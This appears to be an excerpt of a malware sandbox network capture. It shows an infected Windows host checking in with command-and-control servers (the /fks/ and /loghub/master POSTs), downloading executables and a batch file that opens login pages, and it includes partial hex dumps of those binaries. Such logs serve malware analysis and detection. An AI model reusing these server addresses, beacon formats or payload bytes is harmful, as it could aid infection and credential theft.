Sep 23, 2023 17:53:18.577080011 CEST	6974	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 29 af a0 d5 f3 c9 39 df 28 fc e4 5e b3 38 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP)9(^8Qh6]+d9Si9fjshK9s^ERga_;C3J*^q;& ]m6>gxzf)b~UGyWwV#[?fgjM>duzj{!&4H={_t
Sep 23, 2023 17:53:18.902718067 CEST	6975	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 403 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Sep 23, 2023 17:53:18.921977043 CEST	6975	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://koqafyhg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 237 Host: 77.91.68.29
Sep 23, 2023 17:53:18.921977997 CEST	6975	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a1 d5 f3 c9 38 df 28 fc ce 4f f3 68 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(Oh 'x8~k=@grxq[,'D*a$<;X}%3`4ZF3,b59pRBl"h`)hRQJ5`V 56gdAA?,o}-q5T
Sep 23, 2023 17:53:19.249620914 CEST	6976	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 40 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c5 12 e1 5c a9 f8 70 7d 8e d7 5e e3 cd 3e 93 a4 2d 16 fa 03 a6 Data Ascii: H>99$JY\p}^>-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49776	77.91.124.231	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:14.552306890 CEST	6499	OUT	GET /smo/exto.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 77.91.124.231
Sep 23, 2023 17:53:14.872932911 CEST	6500	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Sat, 23 Sep 2023 23:52:20 GMT Accept-Ranges: bytes ETag: "3b9bc2fd78eed91:0" Server: Microsoft-IIS/10.0 Date: Sat, 23 Sep 2023 23:53:14 GMT Content-Length: 373248 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5b 48 1c 7a 1f 29 72 29 1f 29 72 29 1f 29 72 29 cc 5b 71 28 12 29 72 29 cc 5b 77 28 b6 29 72 29 cc 5b 76 28 09 29 72 29 cc 5b 73 28 1c 29 72 29 1f 29 73 29 9c 29 72 29 50 55 76 28 0e 29 72 29 50 55 71 28 0a 29 72 29 50 55 77 28 4c 29 72 29 de 55 7b 28 1e 29 72 29 de 55 72 28 1e 29 72 29 de 55 70 28 1e 29 72 29 52 69 63 68 1f 29 72 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b4 09 0f 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 22 00 36 02 00 00 88 03 00 00 00 00 00 cc 71 00 00 00 10 00 00 00 50 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 21 03 00 50 00 00 00 70 21 03 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 05 00 18 1c 00 00 20 07 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 06 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 02 00 30 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 34 02 00 00 10 00 00 00 36 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 48 d8 00 00 00 50 02 00 00 da 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a0 1e 00 00 00 30 03 00 00 10 00 00 00 14 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 79 68 75 61 00 00 04 6e 02 00 00 50 03 00 00 70 02 00 00 24 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 18 1c 00 00 00 c0 05 00 00 1e 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 10 3f 43 00 e8 8a 3f 00 00 68 46 44 42 00 e8 72 64 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$[Hz)r))r))r)[q()r)[w()r)[v()r)[s()r))s))r)PUv()r)PUq()r)PUw(L)r)U{()r)Ur()r)Up()r)Rich)r)PELe"6qP@@ !Pp!( `@P0.text46 `.rdataHP:@@.data0@.syhuanPp$@.reloc@B?C?hFDBrd
Sep 23, 2023 17:53:14.873333931 CEST	6501	IN	Data Raw: 00 59 c3 6a 01 6a 00 68 30 40 43 00 b9 e0 3f 43 00 e8 ef 42 00 00 68 50 44 42 00 e8 53 64 00 00 59 c3 56 57 6a 01 e8 88 a7 00 00 59 bf 30 40 43 00 8b f0 8b cf e8 3d 43 00 00 6a 00 56 8b cf c7 05 30 40 43 00 dc 53 42 00 e8 83 47 00 00 68 5a 44 42 Data Ascii: Yjjh0@C?CBhPDBSdYVWjY0@C=CjV0@CSBGhZDBdY_^?C]C?C?hdDBcYhxDBcYhnDBcY$AC>hDBcYhDBcYNCUQVujMQjVPp
Sep 23, 2023 17:53:14.874075890 CEST	6503	IN	Data Raw: 24 10 00 8d 4c 24 18 ff 74 24 10 57 e8 56 31 00 00 8b 4c 24 4c 83 f9 10 72 2d 8b 54 24 38 41 8b c2 81 f9 00 10 00 00 72 14 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 c0 00 00 00 51 52 e8 bc 5c 00 00 83 c4 08 0f 28 4c 24 10 8d 4c 24 50 f3 0f Data Ascii: $L$t$WV1L$Lr-T$8ArP#+QR\(L$L$P~D$ t$0fD$`W\|$df~RBfFC)L$PFL$0PD$4D$8PgL$lRBr)T$PArP#+w;QR2\MUNL$\|_RBV^3[
Sep 23, 2023 17:53:14.874140024 CEST	6504	IN	Data Raw: cc 8b 49 04 56 8b 74 24 08 57 8d 3c b5 00 00 00 00 3b 71 0c 73 0c 8b 41 08 8b 04 07 85 c0 75 21 eb 02 33 c0 80 79 14 00 74 17 e8 9e 4b 00 00 3b 70 0c 73 0b 8b 40 08 8b 04 07 5f 5e c2 04 00 33 c0 5f 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc 8d Data Ascii: IVt$W<;qsAu!3ytK;ps@_^3_^APD$PNVt$W\|$;tSYSPMF;u[_^APD$PLOVt$W\|$;tSYSPOF;u[_^D
Sep 23, 2023 17:53:14.874177933 CEST	6505	IN	Data Raw: 00 9b 68 60 05 43 00 e8 af f1 ff ff 80 86 00 50 43 00 17 68 60 05 43 00 e8 9e f1 ff ff 80 86 00 50 43 00 bb 68 60 05 43 00 e8 8d f1 ff ff 80 86 00 50 43 00 b2 68 60 05 43 00 e8 7c f1 ff ff 80 86 00 50 43 00 f4 68 60 05 43 00 e8 6b f1 ff ff 80 86 Data Ascii: h`CPCh`CPCh`CPCh`C\|PCh`CkPCmh`CZPCE@h`CFPCh`C5Fn^<0C3D$4SEUV3T$C<W\$D$LxD L$(D$IL$$W
Sep 23, 2023 17:53:14.874217033 CEST	6507	IN	Data Raw: 3b f8 7c c1 8b 75 80 6a 00 6a 04 ff 75 84 8b 86 a4 00 00 00 83 c0 08 50 ff 75 90 ff 55 a4 8b 4d ac 56 8b 81 28 50 43 00 03 45 a8 89 86 b0 00 00 00 ff 75 94 ff 95 7c ff ff ff ba 6a 2c 5a 90 e8 51 fb ff ff ff 75 94 ff d0 8b 4d fc 5f 33 cd 5e e8 56 Data Ascii: ;\|ujjuPuUMV(PCEu\|j,ZQuM_3^VM][UESVuD$W;tyfDIL0y\|$RD$PjB D$tPtjt$@();t$
Sep 23, 2023 17:53:14.874255896 CEST	6508	IN	Data Raw: 85 f6 7c 0a 7f 04 85 c0 74 04 8b f0 eb 16 0b c6 75 0d 85 c9 75 05 8d 70 01 eb 6b 33 f6 eb 05 be 06 00 00 00 81 f9 00 20 00 00 75 5a f2 0f 10 4d 1c 0f 28 c1 0f 54 05 50 06 43 00 66 0f 2f 05 40 06 43 00 76 41 8d 44 24 20 50 83 ec 08 f2 0f 11 0c 24 Data Ascii: \|tuupk3 uZM(TPCf/@CvAD$ P$6D$,3\|$D+iuT$@2;wt$@D$0CD$00JL$D++;w$t$@t$0Ct$0WjV]>jWD$(L$8t$(W\|$D
Sep 23, 2023 17:53:14.874296904 CEST	6509	IN	Data Raw: 00 00 00 8b 7d 08 8d 54 24 1a 88 44 24 19 8d 44 24 19 0f 45 c2 f6 c1 08 74 04 c6 00 23 40 8b d1 66 c7 00 49 36 81 e2 00 0e 00 00 c6 40 02 34 81 fa 00 04 00 00 75 04 b1 6f eb 17 81 fa 00 08 00 00 74 04 b1 64 eb 0b c0 e1 03 f6 d1 80 e1 20 80 c9 58 Data Ascii: }T$D$D$Et#@fI6@4uotd Xu Hu@D$ PD$,j@PyPD$$PuVuuWSo$ _^[3B]U\0C3D$XD$SVuL$\$D$+N D$%WED$
Sep 23, 2023 17:53:14.874339104 CEST	6511	IN	Data Raw: cc cc cc f6 44 24 04 01 56 8b f1 c7 06 48 53 42 00 74 0b 6a 08 56 e8 c1 3e 00 00 83 c4 08 8b c6 5e c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 51 14 0f 57 c0 56 8b 74 24 08 8b ca 57 0f 11 06 c7 46 10 00 00 00 00 8d 79 01 c7 46 14 00 Data Ascii: D$VHSBtjV>^QWVt$WFyFAu+QRL_^QWVt$WFyFAu+QR_^QWVt$WFyFAu+QR_^
Sep 23, 2023 17:53:14.874377966 CEST	6512	IN	Data Raw: 50 51 52 8d 44 24 24 50 53 e8 6f fc ff ff 8b 54 24 3c 8b 74 24 40 57 8b 08 8b 40 04 ff 75 1c 89 4d 10 50 51 56 53 89 45 14 c7 42 20 00 00 00 00 c7 42 24 00 00 00 00 e8 d1 fb ff ff 8b 8c 24 88 00 00 00 83 c4 30 83 f9 10 72 29 8b 54 24 44 41 8b c2 Data Ascii: PQRD$$PSoT$<t$@W@uMPQVSEB B$$0r)T$DArP#+wjQRe9L$@D$TD$XD$Dr)T$,ArP#+w#QR9L$\_^[38]IUd0C3D$`E
Sep 23, 2023 17:53:15.193038940 CEST	6513	IN	Data Raw: 83 f8 1f 77 23 51 52 e8 c4 34 00 00 83 c4 08 8b 4c 24 6c 8b c6 5f 5e 5b 33 cc e8 6e 34 00 00 8b e5 5d c3 e8 ef 02 00 00 e8 77 a7 00 00 cc cc cc cc cc cc cc cc cc cc 8b 54 24 10 56 8b 74 24 0c c6 06 25 8d 46 01 f6 c2 20 74 04 c6 00 2b 40 f6 c2 10 Data Ascii: w#QR4L$l_^[3n4]wT$Vt$%F t+@t#@L$f.*t@0t6 t60uA@^ME@^ uf@^0ua@^Me@^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49777	5.42.92.211	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:16.422583103 CEST	6728	OUT	POST /loghub/master HTTP/1.1 Content-Type: multipart/form-data; boundary=Ig2hclxJTbYUZoL241AM Content-Length: 213 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) Host: 5.42.92.211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 49 67 32 68 63 6c 78 4a 54 62 59 55 5a 6f 4c 32 34 31 41 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 49 67 32 68 63 6c 78 4a 54 62 59 55 5a 6f 4c 32 34 31 41 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 33 56 72 59 57 67 3d 0d 0a 2d 2d 49 67 32 68 63 6c 78 4a 54 62 59 55 5a 6f 4c 32 34 31 41 4d 2d 2d 0d 0a Data Ascii: --Ig2hclxJTbYUZoL241AMContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--Ig2hclxJTbYUZoL241AMContent-Disposition: form-data; name="build"c3VrYWg=--Ig2hclxJTbYUZoL241AM--
Sep 23, 2023 17:53:17.354827881 CEST	6970	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Sep 2023 15:53:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: same-origin
Sep 23, 2023 17:53:17.354893923 CEST	6970	IN	Data Raw: 54 6b 38 4e 43 67 3d 3d Data Ascii: Tk8NCg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49779	77.91.68.61	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:18.165210009 CEST	6972	OUT	GET /fuza/2.bat HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 77.91.68.61
Sep 23, 2023 17:53:18.490015984 CEST	6973	IN	HTTP/1.1 200 OK Date: Sat, 23 Sep 2023 15:53:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat, 16 Sep 2023 19:17:49 GMT ETag: "4f-6057ec3d4c0b6" Accept-Ranges: bytes Content-Length: 79 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 73 74 61 72 74 20 22 22 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 0d 0a 73 74 61 72 74 20 22 22 20 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0d 0a Data Ascii: start "" https://www.facebook.com/loginstart "" https://accounts.google.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49781	5.42.65.80	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:19.568813086 CEST	6977	OUT	GET /rockss.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 5.42.65.80
Sep 23, 2023 17:53:19.872550011 CEST	6978	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Sep 2023 15:53:19 GMT Content-Type: application/octet-stream Content-Length: 6850560 Last-Modified: Thu, 21 Sep 2023 18:43:33 GMT Connection: keep-alive ETag: "650c8ed5-688800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 03 0b 01 06 00 00 08 00 00 00 7c 68 00 00 00 00 00 e5 14 00 00 00 10 00 00 00 a0 68 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 68 00 00 04 00 00 0b 60 69 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 94 68 00 50 00 00 00 00 b0 68 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 94 68 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 78 06 00 00 00 10 00 00 00 08 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 13 76 68 00 00 20 00 00 00 78 68 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 04 00 00 00 00 a0 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 00 03 00 00 00 b0 68 00 00 04 00 00 00 84 68 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL\|hh@h`ihPh`hX.textx `.rdatavh xh@@.bssh.rsrchh@@
Sep 23, 2023 17:53:19.872567892 CEST	6979	IN	Data Raw: 00 00 00 00 00 00 00 55 89 e5 81 ec 10 00 00 00 90 8b 45 0c 40 50 e8 e4 05 00 00 83 c4 04 89 45 fc 8b 45 0c 8b 4d fc 01 c1 b8 00 00 00 00 88 01 b8 00 00 00 00 89 45 f8 8b 45 f8 8b 4d 0c 39 c8 0f 8d 48 00 00 00 e9 09 00 00 00 8b 45 f8 40 89 45 f8 Data Ascii: UE@PEEMEEM9HE@EEMEUEM U @M1EEU0PPEPU! @E& @E/ @E0ME5MECMEDzPEIzP
Sep 23, 2023 17:53:19.872618914 CEST	6981	IN	Data Raw: e8 fc 00 00 00 83 c4 0c b8 c3 14 40 00 50 e8 3e 01 00 00 b8 01 00 00 00 50 e8 3b 01 00 00 83 c4 04 b8 00 00 03 00 50 b8 00 00 01 00 50 e8 2f 01 00 00 83 c4 08 8b 05 84 94 a8 00 8b 0d 88 94 a8 00 8b 15 8c 94 a8 00 89 45 f8 8d 45 fc 50 8b 05 00 a0 Data Ascii: @P>P;PP/EEPPRQEPEPPEPPUMMPPEPPEP
Sep 23, 2023 17:53:19.872665882 CEST	6982	IN	Data Raw: 6a 32 5b 64 73 62 66 2b 38 5d 35 2f 76 71 70 2d 3d 76 73 50 1f 00 18 2c 2b 39 fe 37 35 37 24 23 6a 32 5b 38 72 62 66 2f 38 5d 35 2f 76 71 70 2d 3d 76 5d 24 7a 78 4c 2c 2b 59 5e 09 55 43 45 33 6a 32 53 6b 73 62 66 5b 39 5d 35 27 76 71 70 4d 3c 76 Data Ascii: j2[dsbf+8]5/vqp-=vsP,+9757$#j2[8rbf/8]5/vqp-=v]$zxL,+Y^UCE3j2Sksbf[9]5'vqpM<v]$zxl,+9pm47d3juJ8]#vqp<v]zxlD9pm47$3j2[dsb&+8]-=v]qxl*9p?7$Ek2[dsbf+8]5/vq0-=6sVO+9c47$g2[tsbfK5]5/vqp-=v]$zx,,+{o}3k2p((+8]-;-<vv
Sep 23, 2023 17:53:19.872683048 CEST	6983	IN	Data Raw: 66 2b 38 5d 35 2f 76 71 70 2d 3d 76 7d 37 f2 0e 93 2b 2b 39 c0 e8 bc 41 db 34 6a 32 db 50 fb 14 99 2c 38 5d 35 2f 76 71 70 2d 3d 76 f5 9a f7 00 93 2b 2b 39 70 6d 34 37 24 33 6a 32 4b 8e b1 1a 66 2b 38 5d 0d 2c b5 09 70 2d 3d 76 55 83 b9 00 6c 2c Data Ascii: f+8]5/vqp-=v}7++9A4j2P,8]5/vqp-=v++9pm47$3j2Kf+8],p-=vUl,+9\|O$3j2k"f+8]]Zp-=vel,+9O$3j27f+8]%p-=vjl,+9pO$3j2Sf+8]p-=vl,+9O$3j27f+8]Yp-=v-l,+9O$3j2/Df+8]up-=v-Hl,+
Sep 23, 2023 17:53:19.872750998 CEST	6985	IN	Data Raw: 76 71 70 2d 3d 76 5d 24 7a 78 6c 2c 2b 39 70 6d 34 37 ae f6 31 78 5b 64 73 62 64 2b 38 5d 14 2f 76 71 3c 78 3d 76 11 6d 7a 78 6c 2c 2b 39 60 34 1b 81 0c 56 bb 23 cd 75 73 62 9e 35 35 50 d5 12 3a 48 1f 11 ef 67 dc 5f 7a b8 23 55 51 8e 34 08 58 52 Data Ascii: vqp-=v]$zxl,+9pm471x[dsbd+8]/vq<x=vmzxl,+9`4V#usb55P:Hg_z#UQ4XRPVj2!DN85/vqp-=vK~NTQ7rR2dsb"+8]x/vq#-=v9<zxm,+9u47%3j2\|sbg+8]m7vqq-=v<zxm,+98u47%3j2c\|sbg+8]7vqq-=v}\{xm,+957%3j2B\}ENHI/_N]P[g
Sep 23, 2023 17:53:19.872806072 CEST	6986	IN	Data Raw: d5 81 7a 78 6d 2c 2b 39 50 b9 34 37 25 33 6a 32 87 c1 73 62 67 2b 38 5d d9 8a 76 71 71 2d 3d 76 71 82 7a 78 6d 2c 2b 39 24 cb 34 37 25 33 6a 32 cf c2 73 62 67 2b 38 5d 9d 8a 76 71 71 2d 3d 76 95 81 7a 78 6d 2c 2b 39 d8 cb 34 37 25 33 6a 32 e7 c2 Data Ascii: zxm,+9P47%3j2sbg+8]vqq-=vqzxm,+9$47%3j2sbg+8]vqq-=vzxm,+947%3j2sbg+8]vqq-=vzxm,+9L47%3j2sbg+8]Mvqq-=vzxm,+947%3j2Osbg+8]vqq-=vzxm,+947%3j2sbg+8]qvqq-=vzxm,+947%3j2sbg+8]5vqq-=vzxm,+9847%3j2s
